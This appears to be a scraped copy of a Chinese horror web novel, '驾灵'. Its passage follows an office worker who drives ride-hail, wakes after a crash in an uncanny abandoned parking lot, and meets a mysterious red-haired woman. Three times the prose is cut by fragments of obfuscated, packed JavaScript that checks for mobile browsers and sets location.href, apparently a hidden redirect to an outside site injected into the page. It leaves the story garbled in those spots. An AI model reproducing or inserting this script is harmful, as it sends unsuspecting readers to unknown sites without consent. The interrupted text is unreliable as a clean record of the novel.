《驾灵》 1. 楔子 我是在公司一月一度的生日会上认识苇姐的。当时所有生日在4月的员工在茶水间集合,难得我们这小破公司还有这福利,排队签名字,拿礼物,领蛋糕。 苇姐全名苇思航,她的名字在表格里我的名字上面。第一次见到这个名字,我还以为是个男的。直到我撂开签字笔,排在领蛋糕的队伍末尾,她正好在我前面一个,礼貌地侧过身,方便与我交谈。 她冲我一笑:“你是新来的吧?我是苇思航,叫我苇姐就行。” 我从善如流,马上道:“苇姐好。我是陈青,可以叫我小陈。” 旁边有个男同事听见,插话进来:对着我道:“没想到吧?是苇姐,不是苇哥噢~” 他自行笑了起来:“啧啧,要是苇哥,多难听啊!是不是,苇思航?” 我初来乍到的新人,连他名字都不知道,只有笑着,去看苇姐,她也颇给面子地提了提嘴角,不过没有接话。 苇姐个子不高,有些瘦弱,素颜,戴眼镜,看起来很文静气质的一个姐姐。据说来公司已经五年多了。她上身穿着针织马球衫,下身是灰色西裤,公司不让穿的太休闲,我认出她脚上是一双黑色帆布鞋,看起来就和皮鞋差不多。 后来我跟苇姐熟了一些,从她口中得到了有关刚才插话的那位男士的三字真言:嘴巴碎,爱面子,别去惹——那人是财务部的徐振,私人跟公司高层有点关系,关键月末报销多指着他,不然要卡人的。 当时我初来乍到,就算苇姐不跟我说,我也不会惹他就是了。但我仍然觉得徐振聒噪,很讨厌,场上没人理他,他更来劲了。 讲完刚刚名字的玩笑,他不愿意放过苇姐。 “苇思航,原来你也是4月的生日?什么星座的?” 苇姐回答:“金牛的。” “我去,和我一样!看不出来啊!”他咂咂嘴。 苇姐沉默。难道她看起来像白羊吗? “你今年多大了?不会也和我同年吧,你看着可比我成熟多了!” 苇姐脸色未变,正要回答。 “等等。”徐振举手停止,忽指了指我,“阿青,你今年多大?” 我刚进公司两周,没想到会牵连到我,回答:“我今年二十一岁。” 不仅是徐振,还是苇姐,还有边上所有听到的人,都不由得齐齐发出“好小啊”的感叹。 我有点不好意思,低了低头。这是我大学刚毕业的第一份工作。 还在学校里的时候,身边都是同龄人,年纪稍小,好像会带来某种优越感,但工作的时候,放在眼下,反而叫我觉得有几分难堪。 这时传来苇姐不高不低的声音,回答徐振刚才的问话:“我今年三十三。” 周围人的关注点便不在我身上了。 徐振立马夸张地结果话头:“哇!一个21,一个33,整整差了一轮啊!” 徐振或许惊讶于苇姐的淡定,自爆道:“我比你来晚一年,年纪嘛,也比你小一岁——我是不是也得叫你一声苇姐啊?” 苇姐:“不用。” 徐振一时梗住。 队伍轮到苇姐,她自取了两份蛋糕,转过身递给我,我才道那另一份是给我拿的,忙接过道谢。 徐振暂时想不到新的话,吊在半空中似的。苇姐这时空出的手掌轻推了下我,像是催促:“走,回工位上吃去。” “好。” 我跟着她亦步亦趋,把烦人的徐振扔在脑后。惊喜地发现,原来我们的工位也离得很近。 我当时心想,等我三十三岁的时候,要是也像苇姐一样飒,就好了。 * 或许只有我那样想。 又待长了一段时间,我更知道了苇姐的为人。 在大多数人的眼里,苇姐这人跟“飒”沾不上边,反而有些温吞。 她说话轻声和气,大多数时间在自己的位置上默默做事,办公室的八卦讨论,她从不参与,办公室的奶茶聚会,她也敬谢不敏。徐振当着面说她“抠门”,苇姐一笑而过。 苇姐确实十分节省,一周像是只有两套衣服,单双日换着穿,总是背一个单肩帆布包,也从不见她带什么饰品,擦什么香水,朴素的过了头。每天自己带饭,聚餐能推就推。她不参与八卦,并不代表其他人不议论她,尤其午餐时间,她总不在,同事们也不忌讳指名道姓。 “苇姐家里很困难吗?” “也没吧。听说是A城本市人呢!” “那是成家了?” “也没有吧。好像连男朋友都没,上次张姐还说给她介绍来着……” “那是什么情况?是爱看演唱会,旅游,还是抽盲盒?” “你少来!就知道以己度人,必须有个烧钱的爱好才行是吧!有些人就是爱省钱啊,又咋了。”——这位女同事说出了我的心声。 不过我也能理解,无欲则刚的人太可怕了。 本司唯一能和苇姐决一高下的,是技术部四十二岁的赵哥——赵哥结婚了,顺应国家政策生了二胎,前几年买了房子,从此背上了巨额房贷,去年被一家有名的科技公司裁员,几番辗转才沦落到我们这儿,干活比地里老黄牛还拼命,深夜下了班还要跑几单顺风车这样子。 “不会苇姐也买房了吧……” “这么一说就有可能了,真是年少有为啊。” “所以说咱们还在这儿替别人担心,其实人家早就是有产阶级了……”——怎么还酸溜溜的呢? 财务部徐振再次出马:“放屁!就她能买房?我真的要笑死!那穷酸样,买辆破车不错了!” 对哦,这倒提醒了我,苇姐有辆车。 我才21岁,在办公室里享有一些天真的特权。 此时我撑着下巴,一脸崇拜地看着办公室里挥斥方遒的“徐哥”:“对了,您开什么车来着?” 徐振身穿始祖鸟,脚踏萨罗蒙,在一众目光中,脸色黑了一点。 也对,他买不起。 * 我知道苇姐有辆车,是因为有天晚上下雨,我打车的时候打到了。 赵哥下班开顺风车的事情人尽皆知,为了避免有损同事内部感情,大家私下里转告赵哥的车牌号,打车的时候多注意点。 我只知道赵哥有这个副业,事实上,刚刚忍痛取消了他的订单,第二次呼叫花了我20分钟,有一刻我差点以为我只能冒雨走到公交车站了,幸而那辆白色的小汽车神兵天降。 我核对了车牌号是0373无误,一路踩着水洼,跑出20米,拉开门一屁股坐进去。 “师傅,手机尾号xxxx。” 我刚坐定,车还未发动,听见前座传来的女声。 “阿青?” “……苇姐?!” 我感到十分窘迫,不过还得是苇姐,依旧淡定得很。 “你住的挺远啊。”苇姐道,“你身上湿了,冷不冷,要不要我把空调调高一点?” “是啊,谢谢苇姐。”我道,至少三十分钟的路程,我得想办法别让场景太尴尬,想了又想,还是道:“原来苇姐你也开网约车啊?” “嗯啊,”苇姐道,“我天天都开。” “你也住西城那边吗?” “不是,我住东边。” “那不是不顺路……” “没有,正好今天要去那边办点事情。” “哦……” 我突然有点理解徐振了,苇姐总是回答,从不接话,如同铁壁,让开启对话那个人多少有点难受。 我搜肠刮肚,把车厢里能看到的都夸了个遍。 车厢很宽敞,又干净,后座抽纸充电线一应俱全,还有股淡淡的皂香。 其实可聊的还是很多的。 “苇姐,这是什么车啊?” “xx牌的。” 我深吸一口气,正要继续问。 “哦,你可能不知道,是个国产牌子,已经破产了。”苇姐补充道。 “……” 我努力回忆着之前听男人们聊车时候的关键词。 “这是油车……混动的?还是电动的?” “是电动车。”苇姐回答,“跑油太贵了。” “噢,发动机几缸的?”我装作专家似的。 “……” 前方传来苇姐的笑声。她笑得很温柔,很好听。我后来才知道,电动车没有“缸”这一说。 因为苇姐的笑,我轻松了一些,大概是发现我一直没话找话,她终于多说了一些有关这车的事情。 “这是我从朋友那里买的二手车。平常城市通勤,上下班啊的比较方便。” “那应该很便宜咯?” “并没有,”难得听到苇姐这种语气,竟然有些悲愤——我购物节买贵了东西也这样,不过很快恢复了心平气和,告诫我,“不过就算便宜也别买。小车厂破产之后,修车麻烦死了。零件都不好配。上次去汽修店,要我八万八。” 我张着嘴巴,只知道重复那个数字:“八万八?!” “对啊。”苇姐幽幽道,“这钱现在都够买辆新车了。” “那你修了吗?” “当然没。” 我想到什么,语气渐弱:“所以,苇姐你这车,是有什么毛病啊?” “小毛病。”苇姐随口道,像是应了她的回答,车速忽而慢了下来,她一踩油门,车一个明显的趔趄,卡顿片刻才重新加速。电车本来行驶起来是很安静的,我却听到好像闷雷一样的声音,从车底传来……也不知道苇姐听见没有。 我第一次听见苇姐骂人,低声嘟囔:“见鬼。” 我在后座悄悄系起安全带。 车到了目的地,苇姐本要开进老小区里,我见外面不再下雨,坚持让她在路边把我放下来。 “走咯。谢谢苇姐,明天见!” 苇姐也冲我告别,我关上车门,看那辆白色的小轿车驶远。下过雨的夏天晚上,空气闷热粘滞,我倒像活过来了似的。苇姐的车里也不知是为什么,哪怕调高了空调,还是越坐越冷啊。 * 我和苇姐逐渐熟悉起来,其实也只是从点头之交,成了茶水间见面偶尔会聊上几句的关系。 我对她本人的了解,说起来还不如对她的车多。闲聊时问苇姐平时喜欢做什么,她仔细想了下,回答说喜欢睡觉,表情颇为认真,我又无话可接。我才知道,每天中午,苇姐不在位置上的时候,都是去车里午休。 所以有自己的车还是好啊!我感叹。 “听说了吗?我上次去试驾的sales跟我说,现在好多银行下调了车贷利率!” 茶水间里,徐振又在高谈阔论。 “徐哥准备买车了?” 终于有人问了这么一句,徐振旋即回答:“嗯啊。”若有若无的,还看我一眼。 我默默吃着另一位离职同事请客的茶点——也是我们齐聚在茶水间的原因,不知道为什么聊天的话题转到了买车上面。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15670540|173142||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “BBA看过了,没啥意思,国内电动车方兴未艾,自家产业当然要支持一下!我最近正在做调研,准备等下次国补的时候买辆代步玩玩,赶上好政策了啊……” “买电动车,可以问苇思航啊!我记得她开的就是电动车,看上去挺像模像样的呢!” 徐振的表情肉眼可见地冷了下去。 苇姐有车,而且开网约车的事情,已经在同事们之间传开了——当然,不是我说的。 “她那车我可看不上,空调冷死,跟个棺材似的!” ——是徐振。显然他也打到过,苇姐的车。 “而且苇思航这人开车,能吓死个人!上次我坐她车,好好在马路中央突然打方向盘,后面根本没车,她硬说是后面有人要超车,还神经兮兮地问我看到没,真搞笑!”徐振道,“要不是看在大家都是同事,坐到这种网约车,我保准要投诉!” “哎呀,女司机,理解下,开车都这样。” “没想到苇思航平时看着挺沉稳,原来也是个马路杀手啊!”有人附和。 徐振愤慨:“这种人就不该让上路!要是出什么事,得害多少人啊……” “就是!” 徐振表情稍霁,又聊回车贷上面,嘿嘿一笑:“也不知道苇思航当时利率多少,现在降了这么多,肠子不都得悔青了……” 他说这话却没人接茬,谁看苇姐都不像会贷款买车的人,当然是全款拿下! 像苇姐那样过着苦行僧一样的日子,如果有一天听说她买房了,我好像也不会很惊讶…… “劳驾让一下。”一个不高不低的女声打断了对话。只见一个人接完水,从茶水间一角的饮水机那边走来,所有人齐刷刷地转头,像摩西站在红海前似的,中间分出一条路来。 茶杯里冒起氤氲热气——那人正是苇姐。 我看到她,一怔,突然想不起自己站在这里的前因后果。茶水间同事一起小聚,是压根没叫苇姐呢,还是被她拒绝了? 众人都噤声,像是排练好的舞台剧那样,齐刷刷朝她望去。 我先是看看其他人奇怪的反应,心中纳闷,终是也忍不住朝她看去。她也正看着我,只我一个。即使隔着茶杯里浮上的水雾,隔着她被水雾蒙住的镜片。眼前的一切像是电影镜头,其他人成了背景板,朝着她突然拉近,我的视野无比清晰,连她镜框折角上的几道划痕都清晰可见。 “哎哟!” 我像被魇住了一样移不开目光,却听见身旁传来的声音:同事的痛呼,几声人体倒地的闷响,连带着茶水间的椅子在地板上划出刺耳的声音,我没有转头去看,脑海中却无比清晰地看到了一张张失去意识,五官流出脓血的面孔……正属于我身边那些刚才还在一起谈笑风生的同事们。他们的脖子奇形怪状地弯折着,有的脸砸在松软的蛋糕上,从器官里流出深色的污血像是陈年的果酱。 电影镜头成了默片,一切声音都远去了,只余光影。午后和煦的阳光透过写字楼的窗户,无比温柔明亮。我在原地动弹不得,塑料叉子支在糊成一团的奶油蛋糕上,好似也在融化。 苇姐仍然站在那里,作为镜头中唯一的女主角,她的姿态十分悠闲,对周围发生的一切恍若不觉,低下头,捏着杯子里茶包垂在杯沿的标签,在热水里浸了又浸,杯中茶水已是一片深红。忽而她一个转腕,扯着茶包的绳子,把茶包拽了出来,随手丢到脚下的垃圾桶里。 我又一次听见了声音,是她的话穿透默片,也结束了刚刚那场独角戏。苇姐总是那样,轻声细语的。 这时是在问我:“……蛋糕好吃吗?” 她抬起头,镜片的雾气散尽,我才看见她镜框后空无一物的右眼眶,一个黑漆漆血淋淋的伤口。那被她随手丢弃的“茶包”,尽头连接着不是别的,正是她下落不明的右眼球,给她脚下的垃圾桶一个特写,其中黏腻无状的白色组织与红茶的液体交织,似乎还在微微跳动,此时瞳孔的部分艰难转到正面,直盯着我,只我一个。 “啊啊啊啊啊——!”我发出惊叫。 睁开眼睛,身处熟悉的出租屋的卧室,月光从窗边洒了进来,我仍是惊惧交加地喘个不停。寂静的深夜,连墙上挂钟的声音都清晰入耳,看了看时间,还有四个小时该起床上班的感知瞬间模糊了噩梦的痛感。 ——原来是梦。 * 我有一段时间没见过苇姐了,夏日将尽,一晃眼,我来这个公司已满4个月,对于苇姐的记忆,越来越模糊起来。 我约等于她在办公室最亲近的人,这个时候发现,除了加了她的微信,连她的电话都不知道。 据说连假都没请,也不知道是出了什么事,我给她的微信留言全都得不到回复。 人力算着她旷工的日子,酝酿着阴谋,新下来的裁员名单,苇姐也赫然在册。 ——她在这里工作了五年,如果因为不守公司纪律被开除,而不是辞退,能省下一笔不菲的赔偿金。 也就没人去管她,像所有人都忘记了世上还有那个人似的,时间一长,我也变得麻木起来,只偶尔想起那个有苇姐的噩梦,心里一刺。 也是,指望能有多关心你的同事呢?我与苇姐的熟悉程度,逐渐仅限于我从积压成山的工作里抬起头来,放风一样,瞄到她工位电脑上永不熄灭的屏保。 偶然想起苇姐这个人,我才惊觉,竟连一些最基本的都不记得,33岁的苇姐,轻声细语,喜欢睡觉,开网约车……咦,她在公司是哪个部门的来着? 2. 1. 停车场 初秋的夜晚,气温还是夏季,天上没有星光,像是一块黑布从头罩下,没有一点要亮起的意思。 A城某废弃停车场的一角,不甚明亮的照明路灯下,一辆白色小汽车有几分打眼,鉴于附近没有空余的车位,它只有胡乱横停在中间的甬道上,以至于挡住了后面车辆的出路。 横七竖八停在车位上的那些,与其说是车,不如说是机械铁块的尸体,看起来年久失修,废弃已久,统一的黑色车身上布满泥浆,由于很久没有下雨,于是在那泥浆上又罩了一层哑光的灰尘,在前挡风玻璃上糊作一气。雨刷器歪歪扭扭,像某种怪物折断的节肢,不甘地指向空中,车胎这一个那一个的瘪了,导致车身倾斜向一边,一眼望去,像是一群瘸腿稍息的士兵,数不清的杂草从地下顽强地冒头,沿着车胎轮毂的橡胶面兀自生长,构成符文一样的纹路。 那辆白色小汽车混入其中,简直像是出现在乞丐堆里穿着白纱裙的公主,太新,也太洁白了。更格格不入的是,它如今引擎尚未熄火,车灯亮着,笔直而空洞地射向前方,前吻上钉着一块新能源绿牌,车牌号0373。 主驾座椅上,安全带失去了回收的张力,苇思航身体前倾,垂下的头靠在方向盘上,已然失去了意识。车厢里十足安静,只有运行中的空调发出像是颤抖一样抽吸的声音。 她突然惊醒,身体猛一个向前,正好压在喇叭上面,刺耳的鸣笛声在耳边炸响,她随即完全清醒了过来。 血……红的…… 温热的液体从额头上流到眼睛的触感…… 苇思航睁开眼睛。 眼前没有血,自然也没有红色。不过眼睛里发刺,确实有什么东西流进去了,她伸手一抹,原来满头的汗。背上湿了一片,汗把衣服黏在身上的感觉很不好受,空调吹出的冷气倒甚是抚慰。 几乎是察觉到这些的同时,苇思航脸色一变,挣扎着解开安全带,打开门,跳下车,动作一气呵成。 外界的热浪迎面扑来,苇思航扶着车门,才不至于天旋地转跌倒,接着弯下腰,痛苦地干呕起来。 * 苇思航只记得,她好像是遭遇了一场车祸。她明明记得,上一秒她还在开车去上班的路上,怎么突然一下,天就黑了? 这里又是哪里? 她吐完感觉稍好些了,站起身来环顾四周,没戴眼镜,眼前一片模糊,只大概看出来这里是个废弃的停车场,她身旁一排黑车横七竖八,也不知在这里报废多久了,晃眼一看,还当是刚从地里刨出的棺材。 本来天气很热,这样的联想倒让人生出几分寒意,周围一片死寂,连夏夜里不可或缺的蝉鸣和蟋蟀的声音都听不见,苇思航忍不住清清喉咙,胸腔跟着震动,发出声音,才确认不是自己的耳朵出了问题。她的目光放远一些,从又黑又高的天空茫然地下落,附近地势开阔,不费什么功夫,她终于看到了让她感到熟悉的东西。 目之所及的远方,矗立着这个城市标志性的超高端写字楼,被称为“梦茧”大厦的,在这样静默,且沉黑的夜里,它的存在简直就像灯塔一样。 苇思航的公司不在“梦茧”,不过也在那附近,只需一眼,她便大概知道了自己如今的方位,心下稍安。想了想,她重新坐回车内,空调运行中,“咝咝”朝外吐着冷气。她伸手在中控台上一摸,果然找到了她的眼镜戴上。 眼前的一切重新清晰起来,仪表盘亮着,此刻上面有一个突兀的橙色标识。苇思航努力回忆了许久科目一的知识,猜测那应该是指示发动机的某处出了问题……最好别吧,她比较希望是自己记错了,毕竟上次考试好像是上个世纪的事了…… 她又戳了戳横在驾驶座和副驾之间,开不了机一片漆黑的中控电脑,这么一看,好像只是个小问题。 不不,如果她没有记错,车祸是真,现在最应该庆幸的,是她本人毫发无伤才对吧? 当务之急,她要先从这个鬼地方开出去。这样想着,苇思航双手扶上方向盘,同时操纵驾驶杆,切换到了行进档,0373开始缓慢地向前移动。 ——很好,有故障,但还能发动。 这期间,看到仪表盘上显示电量还剩15%,苇思航又走神了。明明记得昨天刚充满电,当时一块二毛一度的电费给她心疼死……怎么用这么快啊? 另外……现在的时间是早上6点30分? 她不由得又望了一眼,明显是深夜,毫无亮起征兆的天空,心里泛起了嘀咕。 她的车原本横在两侧停车位中间,正对着她的车头,是那些黑色废车中的一辆,被近光灯一照,车灯盖反射着光线,像是冷冷的逼视,随着0373的移动,两车越靠越近,大概还有30cm的距离,眼看就要撞上了。0373配备了微距报警功能,尖利的警报声响起,拉回了苇思航的注意力。 经验告诉她,对于现在的车况,她应当先刹车,再换到倒挡,后退前进挪腾几次,等车身与甬道差不多平行,再慢慢滑行出去。 苇思航就是这样想的。 她本能地踩下左侧的刹车踏板。 然而,车却狠狠朝前冲了出去! 0373的车头看似轻柔地吻上了对面车的前脸,瞬间暴露了狂暴的真面目,像鬣狗咬死对方的脖子一样,不依不饶地朝前冲撞。爆发的巨大冲力,让那废车的前脸完全凹陷进去,铁皮皱皱巴巴,像是被压瘪的易拉罐,车屁股被逼退着撞上了后墙,不堪重压地一寸寸缩进,发出让人牙酸的金属摩擦的声音。 苇思航在骇然之中,只有更结实地踩下刹车踏板,想要让车停下。0373底盘发出轰鸣,车轮转动地更加欢实,如果不是这时和黑车恰巧卡在了一个奇怪的角度,导致前轮离开了地面,一时空转,想必黑车已然迎来彻底的灭亡。 苇思航很快意识到了问题所在,忙松开踏板,车轮的转速果然放慢了一些,从鬣狗瞬间变成了猫咪,底盘持续的轰鸣也成了撒娇的呼噜似的,前轮重新落到地面上,黑车跟着心有余悸地晃了一晃。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15670541|173142||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 苇思航有一种奇怪的感觉,沉思片刻,她尝试着踩下右侧踏板,尽管,那照理来说是油门…… ——转动的车轮止住了。 * 掌握了0373全新的使用要点,苇思航磕磕绊绊,终于把车停到了一开始的地方。 切换到P停车档,苇思航大大地舒了一口气。她甚至不敢下车查看己车的情况,从前窗望出去,车头形状大致完好,近光灯无情地照着不远处倒霉黑车的惨状。 如果她没有记错,这已经是她短时间内发生的第二次车祸了…… 她猛地想到了什么,伸出两只手轮流在上面哈气,然后立刻凑上去闻。 ——她不会是酒驾了吧? 这得喝多少,才会把油门和刹车弄混啊? 可是右边是刹车,左边是油门……本来就是这样的吗? 她愣了愣,什么味道都没闻到。她是说,什么味道,都没有。为了确认,她特意用手在头顶上摩挲两下,放到鼻尖——犹记得洗头是两天前的事了——理所应当有些头油味。此时光是想到那股亲切的人味,竟就让她有点怀恋。 可还是,什么都没有。 苇思航皱起眉头,心中的疑虑越来越大,感觉自己简直像在做梦。 * 苇思航活了三十三年,自觉此前的人生问心无愧,她本也打算这样继续生活下去。 可现在,她撞了别人的车,没有任何表示,连下车都不敢,准备尽快驶离现场,以期目前发生在她身上的诡异的一切能尽快恢复正常。 驾驶着尾号0373的白色小轿车,以20km/h的龟速在废弃的停车场里打转,苇思航焦急地寻找着出口。没想到这里出乎意料的大,一眼望不到尽头的两侧停车位上,停满了和刚才遭遇不测的被害车一式的钢铁垃圾,沉默地目送0373离开。 简直像个坟场——这个念头出现,苇思航不禁打了个寒战。 四周又黑,又安静,她听到空调运作的声音,好似另一个生物和她一起,正在紧张地喘着粗气,两个声音逐渐合为一体。地面平整的要命,一路没有遇到任何坎坷,反而叫人觉得不安,0373呈匀速向前滑去,好像她正在驾驶的不是汽车,而是一块肥皂。这里只有她一个人,她再一次明确了这个认知,面上不显,实则一颗心在逐渐加重的惊疑中狂跳,好像也有人在她心里一顿乱踩油门似的。 每辆车的样子都是那样相似,一路没有看到指示牌,苇思航也不记得自己转了几圈,时间快到7点了,天还是一片死沉,方向和时间都失去了意义。控制雨刷器和车灯的摇杆也和她记忆中的相反,就在希望也要失去之际,“咔哒”一声,她不慎碰到一侧摇杆,意外打开了远光灯。 还好,光明还有意义。 两道无比明亮的灯柱射向远方,将路上的一切都照的分明,同一路径上的黑车默然垂首,苇思航扶了扶眼镜,她好像看到了,不远处那亮着红光的好像是…… 出口闸机? 3. 2. 陆萌 苇思航也说不好,一路没遇到人,她害怕,但要这时候前方突然出现一个人的话……她说不定会被吓死。 在那之前,她先听到汽车引擎令人愉悦的轰鸣声,当下心中只有惊喜与感激。 ——这时她已开着0373离出口闸机越来越近了,另一辆黑车从对向驶来,她要出去,对面要进来,各自都被横在面前的栏杆拦住,对角线方向大眼瞪小眼。 她的远光灯依旧霸道地开着,自带光源,周围的一切在强光下尽收眼底。 进出口两条小路并行,左右各一闸机,一车一杆通行。苇思航望向她这条路的尽头,欣喜地看到熟悉的立交桥——她每天上班都要经过的那架。这时她才赫然发现,这个停车场原来藏在一片居民楼之中,眼前一排排老旧的民房,像是突然出现似的……不然她刚才在这里面绕行这么久,怎么会没看到呢? 对面车上司机不满地按喇叭,“嘀,嘀”两声。 “喂喂,有没有素质啊!眼睛都要被闪瞎了!”对面女司机的声音从摇下的车窗里传来,让苇思航回过神来,顿时觉得无比亲切。 对面的黑车和停车场里那些是同一型号,不过车况看起来要好多了,至少能开,就很能说明什么。车顶上亮着一盏黄色的小灯,上写“的士”两字。 原来还是辆出租车啊? “不好意思!不好意思!”苇思航按下副驾车窗,脸上带着发自内心的笑容,要是不知内情,还当她不怀好意。接下来的乌龙便显得更加可疑,她本来应该关灯,却打开了雨刷——又忘了!反的反的! 她手忙脚乱捣鼓了下,终于成功切换成近光灯,她这时发现两边的栏杆都还没有抬起来——正合她意——好容易遇到一个活人啊!她特别想和对方说上两句话,随便什么都行。 副驾车窗大开着,室外略显炎热的空气随之倾泄进来,苇思航伸长脖子,上半身受到安全带的束缚,用尽全力往外探去——要知她的脚还踩在刹车上,这动作可不容易。 她正要说什么,那边传来开关车门的声音,对方下了车。 苇思航从车窗艰难望去,待看到对方的样子,蓦地睁大了眼睛。 那人身材高挑,从下往上,穿着长及大腿的黑色漆皮靴,红色鞋孔带像是歪歪扭扭的缝针,甚有几分辛辣,热裤和削肩紧身背心,勾勒出她的火辣身材,没有肩带的那一侧手臂,刺青从手腕一直蔓延到胸口,最后隐入衣服才罢休。再往上看,她的头发同样高调,是和靴子呼应的火红,长及臀部,发质好的离奇,简直不像真的。苇思航只顾看着她的头发,在暗夜里像发光的丝线一样闪啊闪的,连她的脸长什么样都没注意。 苇思航从没在现实生活中见过这种女人,对方简直像出现在游戏里,或者动漫里的女性角色……而且,出租车司机? 亲近感退去,违和感再次袭来。 闸机显然是出了什么故障,所以栏杆才会一直不抬起来,红发女下车检查,对着铁盒子一样的机器拍了又拍,就差上脚踹了。 “那个……”苇思航出声,伸出一根手指,很想指给她看——入口处本该有摄像头的地方,摄像头却不翼而飞,足以说明问题。 她的声音果然引起了红发女的注意,对方一个转身,目光看到她,忽而一定,下一秒喜笑颜开。 “苇姐!太好了,你还没醒,我还寻思我来晚了!” 听见那一声熟悉的“苇姐”,苇思航心头大震,然而搜刮了一番记忆,怎么想都对这红发女印象全无,好半天,艰难吐字:“……你谁?” * “我呀,陆萌!”红发女一甩头,“我就知道你又忘了!我下了夜班就来了,不过呢,最近睡得不好,入睡花了点时间,所以耽搁了点儿。” 苇思航听不懂,直愣愣地看着她。 陆萌弯下腰,隔着车窗与苇思航对上眼,那只花臂此时横在车窗上,挤压着胸前波涛汹涌,富有且慷慨。 陆萌发觉她的目光,不禁一声轻笑,自己也低头看了一眼,好像很满意似的,犹嫌不够,乃至直接拉开衣服欣赏一番。 “这个啊……” 苇思航替她面红耳赤,更没想到的是,对方毫不在意,直接冲她掀起下摆。 苇思航:??不是—— 由于她的浏览速度太快,等她发现自己看到了什么,已经来不及了。 在陆萌脖子下,被衣服遮住的部分,一片白茫茫的马赛克,形同乱码,苇思航差点以为是自己的眼睛出了问题。 陆萌看起来十分沮丧:“看来还是渲染不够。” ……苇思航一时不知该从什么地方问起。 陆萌松开手,富有弹性的紧身背心迅速恢复原样,在她身上上发出“啪”的一声。她又一次弯下腰,这次直接伸手探进车窗,不等苇思航反应,迅捷无比地将车门从内打开,拖长的声音有种漫不经心:“苇姐,载我一程呗~” * 停车场出入口,黑车与白车呈对角线之势,一个出不去,一个进不来。 已知入口处的摄像头不翼而飞,至于出口那一侧,看起来倒是一切正常。 至于栏杆迟迟不抬,闸机上一行红字滚动,说明了原因。 “无出入记录车辆,请联系管理员后离场。” 陆萌二话不说挤进车里,欢天喜地地系上安全带,不忘大赞:“苇姐,你这车里真凉快!” 给苇思航整不会了。 车里突然多了一个陌生人,一下显得拥挤了许多。 陆萌:“看我干嘛?开车啊!” 苇思航:“开……去哪儿?” 她说着,看看陆萌,又看看前方挡路的栏杆,就差“hello?” “是不是应该联系那个……管理员……” 陆萌轻嗤一声,似乎觉得她这个想法很可笑似的。 “苇姐,管他的,撞上去呗,出去了再说。”陆萌的眼里划过一丝戏谑,声音如恶魔低语,“你看这停车场,哪里像有个管理员的样子?更何况,入口的摄像头都被人撬了,出口栏杆被撞一下,又有什么打紧?” 苇思航目光一闪,果然动摇,登时想到自己不久前才闯下的烂摊子,死不瞑目的黑车…… 反正逃一次也是逃,逃两次也是逃! 陆萌一只手撑在腿上,支着下巴,侧头冲苇思航微笑,似蛊惑,似威胁。 “不赶紧出去,难道留在这里等死……诶诶诶!!” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15670542|173142||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >陆萌摆好的姿势在突然的加速度里陡然散了架,只见0373如离弦的箭一般朝前冲去,主驾上的苇思航目光决然,看着前方,气势逼人,她的双手紧紧抓着方向盘,脚下毫不放松。 栏杆像是纸糊的,被强力冲撞下直接断开,残躯击打在挡风玻璃上,发出吓人的声音,不过一点划痕也没留下。 副驾上的陆萌由惊转喜,短暂地适应了车速,顿感畅快无比,恨不得把身上的背心扒下来探出车窗挥舞——幸而没那样做,于是退而求其次,从没关紧的车窗里流出一串肖似反派的笑声。 * 苇思航形同逃命,驾驶着小白车0373开了好远,直到停车场和周围的居民楼被甩在身后,在一条三岔路前的网格线内停下,再往前走,就是那架熟悉的立交桥了。 到了这里,终于有了额外的照明,隔十米一个路灯,守护着来往车辆的通行安全,然而十几分钟过去了,这附近除了0373,苇思航没再看到任何一辆车驶过。 等等,等等,她还需要冷静一下。 接二连三的违法乱纪让苇思航接近虚脱,等车停稳后,苇思航大口大口地喘着气,等到缓和些了,她才想起下车检查车况。绕着0373走了一圈,仔细观察,苇思航紧皱的眉头却一直没能放松下来,经历了接二连三的暴力冲击,0373车头、前窗一切完好,连个凹坑都找不到。 奇怪…… 无法用常理解释的事一个接一个,苇思航几乎快麻木了,但周围立交桥附近的场景又分外熟悉,明明就是她每天上班的路啊……她心里没着没落的,不由得多走几步,沿着缓坡上行,抬头看到三岔路上方指示方向的交通立牌。 只见那硕大的蓝色立牌反着路灯的光线,上面指明方向,一条通往滨河路,一条通往滨河路,一条……还通往滨河路。 有没有来个人告诉她,她是在做梦对吧? “苇姐,干嘛呢?快回来呀!”身后车上传来陆萌的声音,唱歌一样,朝苇思航招呼道。 她答应一声,认命往车上走去。刚走了几步,突然感觉有什么不对。 她明明记得,她刚才把车停在了亮堂的地方,然而此时,前方一条光明与黑暗的分界线悄然降临,像是把0373拦腰切断,车头还在路灯的辖区,车尾已陷入黑暗。在0373的背后,她们不久前的来处,仿佛不久前升起大范围的夜雾,太浓,也太黑了,老旧居民区的轮廓被完全吞噬,沉入虚无,好似从未存在过。 苇思航预感不妙,紧走几步,只想尽快把半身陷入黑暗的0373开走。 她的动作已经很快了,副驾上的陆萌却并不满意似的,按了两下喇叭,催促中带着一丝焦躁。 